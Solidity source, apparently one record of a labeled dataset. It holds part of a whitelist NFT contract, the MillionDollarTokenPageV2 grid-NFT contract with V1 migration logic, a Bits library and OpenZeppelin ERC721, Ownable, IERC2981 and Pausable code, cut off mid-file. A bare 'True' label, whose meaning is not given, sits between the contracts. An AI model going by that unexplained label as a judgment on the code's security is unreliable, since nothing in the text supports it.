for (uint i = 0; i < whitelistedAddresses.length; i++) {
if (whitelistedAddresses[i] == _user) {
return true;
}
}
return false;
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](ownerTokenCount);
for (uint256 i; i < ownerTokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIds;
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if(revealed == false) {
return notRevealedUri;
}
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension))
: "";
}
//only owner
function reveal() public onlyOwner {
revealed = true;
}
function setNftPerAddressLimit(uint256 _limit) public onlyOwner {
nftPerAddressLimit = _limit;
}
//cost in Wei
function setCost(uint256 _newCost) public onlyOwner {
cost = _newCost;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
baseExtension = _newBaseExtension;
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
notRevealedUri = _notRevealedURI;
}
function pause(bool _state) public onlyOwner {
paused = _state;
}
function setfreemintAvail(bool _state) public onlyOwner {
freemintAvail = _state;
}
function setOnlyWhitelisted(bool _state) public onlyOwner {
onlyWhitelisted = _state;
}
function freemintUsers(address[] calldata _users) public onlyOwner {
delete freemintAddresses;
freemintAddresses = _users;
}
function whitelistUsers(address[] calldata _users) public onlyOwner {
delete whitelistedAddresses;
whitelistedAddresses = _users;
}
function withdraw() public payable onlyOwner {
(bool os, ) = payable(owner()).call{value: address(this).balance}("");
require(os);
}
} | True | [
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|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "./Bits.sol";
import "./ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
interface IERC721CollectionMetadata {
/* Read more at https://docs.tokenpage.xyz/IERC721CollectionMetadata */
function contractURI() external returns (string memory);
}
interface MillionDollarTokenPageV1 {
function ownerOf(uint256 tokenId) external view returns (address);
function tokenContentURI(uint256 tokenId) external view returns (string memory);
function safeTransferFrom(address from, address to, uint256 tokenId) external;
}
contract MillionDollarTokenPageV2 is ERC721, IERC2981, Pausable, Ownable, IERC721Receiver, IERC721Enumerable, IERC721CollectionMetadata {
using Address for address;
using Bits for uint256;
uint256 private mintedTokenCount;
mapping(uint256 => string) private tokenContentURIs;
uint16 public constant COLUMN_COUNT = 100;
uint16 public constant ROW_COUNT = 100;
uint16 public constant SUPPLY_LIMIT = COLUMN_COUNT * ROW_COUNT;
uint16 public royaltyBasisPoints;
uint16 public totalMintLimit;
uint16 public singleMintLimit;
uint16 public ownershipMintLimit;
uint256 public mintPrice;
bool public isSaleActive;
bool public isCenterSaleActive;
string public collectionURI;
string public metadataBaseURI;
string public defaultContentBaseURI;
bool public isMetadataFinalized;
// Read about migration at https://MillionDollarTokenPage.com/migration
MillionDollarTokenPageV1 public original;
bool public canAddTokenIdsToMigrate;
uint256 private tokenIdsToMigrateCount;
uint256[(SUPPLY_LIMIT / 256) + 1] private tokenIdsToMigrateBitmap;
uint256[(SUPPLY_LIMIT / 256) + 1] private tokenIdsMigratedBitmap;
event TokenContentURIChanged(uint256 indexed tokenId);
event TokenMigrated(uint256 indexed tokenId);
constructor(uint16 _totalMintLimit, uint16 _singleMintLimit, uint16 _ownershipMintLimit, uint256 _mintPrice, string memory _metadataBaseURI, string memory _defaultContentBaseURI, string memory _collectionURI, uint16 _royaltyBasisPoints, address _original) ERC721("MillionDollarTokenPage", "\u22A1") Ownable() Pausable() {
isSaleActive = false;
isCenterSaleActive = false;
canAddTokenIdsToMigrate = true;
metadataBaseURI = _metadataBaseURI;
defaultContentBaseURI = _defaultContentBaseURI;
collectionURI = _collectionURI;
totalMintLimit = _totalMintLimit;
singleMintLimit = _singleMintLimit;
ownershipMintLimit = _ownershipMintLimit;
mintPrice = _mintPrice;
royaltyBasisPoints = _royaltyBasisPoints;
original = MillionDollarTokenPageV1(_original);
}
function supportsInterface(bytes4 interfaceId) public view override(ERC721, IERC165) returns (bool) {
return
interfaceId == type(IERC721Receiver).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
interfaceId == type(IERC2981).interfaceId ||
interfaceId == type(IERC721CollectionMetadata).interfaceId ||
super.supportsInterface(interfaceId);
}
function royaltyInfo(uint256, uint256 salePrice) external view override returns (address, uint256) {
return (address(this), salePrice * royaltyBasisPoints / 10000);
}
function contractURI() external view override returns (string memory) {
return collectionURI;
}
// Utils
modifier onlyValidToken(uint256 tokenId) {
require(tokenId > 0 && tokenId <= SUPPLY_LIMIT, "MDTP: invalid tokenId");
_;
}
modifier onlyValidTokenGroup(uint256 tokenId, uint8 width, uint8 height) {
require(width > 0, "MDTP: width must be > 0");
require(height > 0, "MDTP: height must be > 0");
_;
}
modifier onlyTokenOwner(uint256 tokenId) {
require(ownerOf(tokenId) == _msgSender(), "MDTP: caller is not token owner");
_;
}
function isInMiddle(uint256 tokenId) internal pure returns (bool) {
uint256 x = tokenId % COLUMN_COUNT;
uint256 y = tokenId / ROW_COUNT;
return x >= 38 && x <= 62 && y >= 40 && y <= 59;
}
// Admin
function setIsSaleActive(bool newIsSaleActive) external onlyOwner {
isSaleActive = newIsSaleActive;
}
function setIsCenterSaleActive(bool newIsCenterSaleActive) external onlyOwner {
isCenterSaleActive = newIsCenterSaleActive;
}
function setTotalMintLimit(uint16 newTotalMintLimit) external onlyOwner {
totalMintLimit = newTotalMintLimit;
}
function setSingleMintLimit(uint16 newSingleMintLimit) external onlyOwner {
singleMintLimit = newSingleMintLimit;
}
function setOwnershipMintLimit(uint16 newOwnershipMintLimit) external onlyOwner {
ownershipMintLimit = newOwnershipMintLimit;
}
function setMintPrice(uint256 newMintPrice) external onlyOwner {
mintPrice = newMintPrice;
}
function setCollectionURI(string calldata newCollectionURI) external onlyOwner {
collectionURI = newCollectionURI;
}
function setMetadataBaseURI(string calldata newMetadataBaseURI) external onlyOwner {
require(!isMetadataFinalized, 'MDTP: metadata is now final');
metadataBaseURI = newMetadataBaseURI;
}
function setDefaultContentBaseURI(string calldata newDefaultContentBaseURI) external onlyOwner {
defaultContentBaseURI = newDefaultContentBaseURI;
}
function setMetadataFinalized() external onlyOwner {
require(!isMetadataFinalized, 'MDTP: metadata is now final');
isMetadataFinalized = true;
}
function setRoyaltyBasisPoints(uint16 newRoyaltyBasisPoints) external onlyOwner {
require(newRoyaltyBasisPoints >= 0, "MDTP: royaltyBasisPoints must be >= 0");
require(newRoyaltyBasisPoints < 5000, "MDTP: royaltyBasisPoints must be < 5000 (50%)");
royaltyBasisPoints = newRoyaltyBasisPoints;
}
function withdraw() external onlyOwner {
uint256 balance = address(this).balance;
payable(owner()).transfer(balance);
}
function pause() external onlyOwner {
_pause();
}
function unpause() external onlyOwner {
_unpause();
}
// Metadata URIs
function tokenURI(uint256 tokenId) public view override onlyValidToken(tokenId) returns (string memory) {
return string(abi.encodePacked(metadataBaseURI, Strings.toString(tokenId), ".json"));
}
// Content URIs
// NOTE(krishan711): contract URIs should point to a JSON file that contains:
// name: string -> the high level title for your content. This should be <250 chars.
// description: string -> a description of your content. This should be <2500 chars.
// image: string -> a URI pointing to and image for your item in the grid. This should be at least 300x300 and will be cropped if not square.
// url: optional[string] -> a URI pointing to the location you want visitors of your content to go to.
// groupId: optional[string] -> a unique identifier you can use to group multiple grid items together by giving them all the same groupId.
function tokenContentURI(uint256 tokenId) external view onlyValidToken(tokenId) returns (string memory) {
if (isTokenSetForMigration(tokenId)) {
return original.tokenContentURI(tokenId);
}
string memory _tokenContentURI = tokenContentURIs[tokenId];
if (bytes(_tokenContentURI).length > 0) {
return _tokenContentURI;
}
address owner = _owners[tokenId];
if (owner != address(0)) {
return tokenURI(tokenId);
}
return string(abi.encodePacked(defaultContentBaseURI, Strings.toString(tokenId), ".json"));
}
function setTokenContentURI(uint256 tokenId, string memory contentURI) external {
_setTokenContentURI(tokenId, contentURI);
}
function setTokenGroupContentURIs(uint256 tokenId, uint8 width, uint8 height, string[] memory contentURIs) external {
require(width * height == contentURIs.length, "MDTP: length of contentURIs incorrect");
for (uint8 y = 0; y < height; y++) {
for (uint8 x = 0; x < width; x++) {
uint16 index = (width * y) + x;
uint256 innerTokenId = tokenId + (ROW_COUNT * y) + x;
_setTokenContentURI(innerTokenId, contentURIs[index]);
}
}
}
function _setTokenContentURI(uint256 tokenId, string memory contentURI) internal onlyTokenOwner(tokenId) whenNotPaused {
tokenContentURIs[tokenId] = contentURI;
emit TokenContentURIChanged(tokenId);
}
// Minting
function ownerMintTokenGroupTo(address receiver, uint256 tokenId, uint8 width, uint8 height) external onlyOwner {
_safeMint(receiver, tokenId, width, height, true, "");
}
function mintToken(uint256 tokenId) external payable {
require(msg.value >= mintPrice, "MDTP: insufficient payment");
_safeMint(_msgSender(), tokenId, 1, 1);
}
function mintTokenTo(address receiver, uint256 tokenId) external payable {
require(msg.value >= mintPrice, "MDTP: insufficient payment");
_safeMint(receiver, tokenId, 1, 1);
}
function mintTokenGroup(uint256 tokenId, uint8 width, uint8 height) external payable {
require(msg.value >= (mintPrice * width * height), "MDTP: insufficient payment");
_safeMint(_msgSender(), tokenId, width, height);
}
function mintTokenGroupTo(address receiver, uint256 tokenId, uint8 width, uint8 height) external payable {
require(msg.value >= (mintPrice * width * height), "MDTP: insufficient payment");
_safeMint(receiver, tokenId, width, height);
}
function _safeMint(address receiver, uint256 tokenId, uint8 width, uint8 height) internal {
_safeMint(receiver, tokenId, width, height, false, "");
}
function _safeMint(address receiver, uint256 tokenId, uint8 width, uint8 height, bool shouldIgnoreLimits, bytes memory _data) internal onlyValidTokenGroup(tokenId, width, height) {
require(receiver != address(0), "MDTP: invalid address");
require(tokenId > 0, "MDTP: invalid tokenId");
require(tokenId + (ROW_COUNT * (height - 1)) + (width - 1) <= SUPPLY_LIMIT, "MDTP: invalid tokenId");
uint256 quantity = (width * height);
require(quantity > 0, "MDTP: insufficient quantity");
if (!shouldIgnoreLimits) {
require(isSaleActive, "MDTP: sale not active");
require(balanceOf(receiver) + quantity <= ownershipMintLimit, "MDTP: over ownershipMintLimit");
require(quantity <= singleMintLimit, "MDTP: over singleMintLimit");
require(mintedCount() + quantity <= totalMintLimit, "MDTP: over totalMintLimit");
}
_beforeTokenTransfers(address(0), receiver, tokenId, width, height);
for (uint8 y = 0; y < height; y++) {
for (uint8 x = 0; x < width; x++) {
uint256 innerTokenId = tokenId + (ROW_COUNT * y) + x;
require(!_exists(innerTokenId), "MDTP: token already minted");
require(isCenterSaleActive || !isInMiddle(innerTokenId), "MDTP: minting center not active");
_owners[innerTokenId] = receiver;
require(_checkOnERC721Received(address(0), receiver, innerTokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
emit Transfer(address(0), receiver, innerTokenId);
}
}
_balances[receiver] += quantity;
}
function mintedCount() public view returns (uint256) {
return mintedTokenCount + tokenIdsToMigrateCount;
}
// Transfers
function transferGroupFrom(address sender, address receiver, uint256 tokenId, uint8 width, uint8 height) public {
for (uint8 y = 0; y < height; y++) {
for (uint8 x = 0; x < width; x++) {
uint256 innerTokenId = tokenId + (ROW_COUNT * y) + x;
transferFrom(sender, receiver, innerTokenId);
}
}
}
function safeTransferGroupFrom(address sender, address receiver, uint256 tokenId, uint8 width, uint8 height) public {
for (uint8 y = 0; y < height; y++) {
for (uint8 x = 0; x < width; x++) {
uint256 innerTokenId = tokenId + (ROW_COUNT * y) + x;
safeTransferFrom(sender, receiver, innerTokenId);
}
}
}
function _beforeTokenTransfer(address sender, address receiver, uint256 tokenId) internal override {
super._beforeTokenTransfer(sender, receiver, tokenId);
_beforeTokenTransfers(sender, receiver, tokenId, 1, 1);
}
function _beforeTokenTransfers(address sender, address receiver, uint256, uint8 width, uint8 height) internal whenNotPaused {
if (sender != receiver) {
if (sender == address(0)) {
mintedTokenCount += width * height;
}
}
}
// Enumerable
function totalSupply() external pure override(IERC721Enumerable) returns (uint256) {
return SUPPLY_LIMIT;
}
function tokenOfOwnerByIndex(address owner, uint256 index) external view override(IERC721Enumerable) returns (uint256) {
require(index < balanceOf(owner), "MDTP: owner index out of bounds");
uint256 tokenIndex;
for (uint256 tokenId = 1; tokenId <= SUPPLY_LIMIT; tokenId++) {
if (_owners[tokenId] == owner) {
if (tokenIndex == index) {
return tokenId;
}
tokenIndex++;
}
}
revert('MDTP: unable to get token of owner by index');
}
function tokenByIndex(uint256 index) external pure override(IERC721Enumerable) returns (uint256) {
require(index < SUPPLY_LIMIT, "MDTP: invalid index");
return index + 1;
}
// Migration
function isTokenMigrated(uint256 tokenId) public view returns (bool) {
return tokenIdsMigratedBitmap[tokenId / 256].isBitSet(uint8(tokenId % 256));
}
function isTokenSetForMigration(uint256 tokenId) public view returns (bool) {
return tokenIdsToMigrateCount >= 0 && tokenIdsToMigrateBitmap[tokenId / 256].isBitSet(uint8(tokenId % 256));
}
function ownerOf(uint256 tokenId) public view override(ERC721, IERC721) returns (address) {
if (isTokenSetForMigration(tokenId)) {
return address(original);
}
address owner = _owners[tokenId];
require(owner != address(0), "MDTP: owner query for nonexistent token");
return owner;
}
function _exists(uint256 tokenId) internal view override(ERC721) returns (bool) {
if (isTokenSetForMigration(tokenId)) {
return true;
}
return _owners[tokenId] != address(0);
}
function proxiedOwnerOf(uint256 tokenId) external view returns (address) {
if (isTokenSetForMigration(tokenId)) {
return original.ownerOf(tokenId);
}
return ownerOf(tokenId);
}
function completeMigration() external onlyOwner {
canAddTokenIdsToMigrate = false;
}
function addTokensToMigrate(uint256[] calldata _tokenIdsToMigrate) external onlyOwner {
require(canAddTokenIdsToMigrate, "MDTP: migration has already happened!");
for (uint16 tokenIdIndex = 0; tokenIdIndex < _tokenIdsToMigrate.length; tokenIdIndex++) {
uint256 tokenId = _tokenIdsToMigrate[tokenIdIndex];
require(tokenId > 0 && tokenId <= SUPPLY_LIMIT, "MDTP: invalid tokenId");
require(_owners[tokenId] == address(0), "MDTP: cannot migrate an owned token");
require(!isTokenSetForMigration(tokenId), "MDTP: token already set for migration");
tokenIdsToMigrateBitmap[tokenId / 256] = tokenIdsToMigrateBitmap[tokenId / 256].setBit(uint8(tokenId % 256));
}
_balances[address(original)] += _tokenIdsToMigrate.length;
tokenIdsToMigrateCount += _tokenIdsToMigrate.length;
}
// NOTE(krishan711): this requires the owner to have approved this contract to manage v1 tokens
function migrateTokens(uint256 tokenId, uint8 width, uint8 height) external whenNotPaused {
for (uint8 y = 0; y < height; y++) {
for (uint8 x = 0; x < width; x++) {
uint256 innerTokenId = tokenId + (ROW_COUNT * y) + x;
original.safeTransferFrom(_msgSender(), address(this), innerTokenId);
}
}
}
function onERC721Received(address, address from, uint256 tokenId, bytes calldata) external override whenNotPaused returns (bytes4) {
require(_msgSender() == address(original), "MDTP: cannot accept token from unknown contract");
require(original.ownerOf(tokenId) == address(this), "MDTP: token not yet owned by this contract");
require(ownerOf(tokenId) == address(original), "MDTP: cannot accept token not set for migration");
_transfer(address(original), from, tokenId);
tokenIdsToMigrateBitmap[tokenId / 256] = tokenIdsToMigrateBitmap[tokenId / 256].clearBit(uint8(tokenId % 256));
tokenIdsMigratedBitmap[tokenId / 256] = tokenIdsMigratedBitmap[tokenId / 256].setBit(uint8(tokenId % 256));
tokenIdsToMigrateCount -= 1;
mintedTokenCount += 1;
emit TokenMigrated(tokenId);
return this.onERC721Received.selector;
}
}
// SPDX-License-Identifier: MIT
// https://github.com/ethereum/solidity-examples/blob/master/docs/bits/Bits.md
pragma solidity ^0.8.7;
library Bits {
uint constant internal ONE = uint(1);
function setBit(uint self, uint8 index) internal pure returns (uint) {
return self | ONE << index;
}
function clearBit(uint self, uint8 index) internal pure returns (uint) {
return self & ~(ONE << index);
}
function isBitSet(uint self, uint8 index) internal pure returns (bool) {
return self >> index & 1 == 1;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
* NOTE(Krishan711): this is a copy of the version in the library with the exception that the _owners and _balances are declared internal
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) internal _owners;
// Mapping owner address to token count
mapping(address => uint256) internal _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (interfaces/IERC2981.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Interface for the NFT Royalty Standard.
*
* A standardized way to retrieve royalty payment information for non-fungible tokens (NFTs) to enable universal
* support for royalty payments across all NFT marketplaces and ecosystem participants.
*
* _Available since v4.5._
*/
interface IERC2981 is IERC165 {
/**
* @dev Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of
* exchange. The royalty amount is denominated and should be payed in that same unit of exchange.
*/
function royaltyInfo(uint256 tokenId, uint256 salePrice)
external
view
returns (address receiver, uint256 royaltyAmount);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/Pausable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
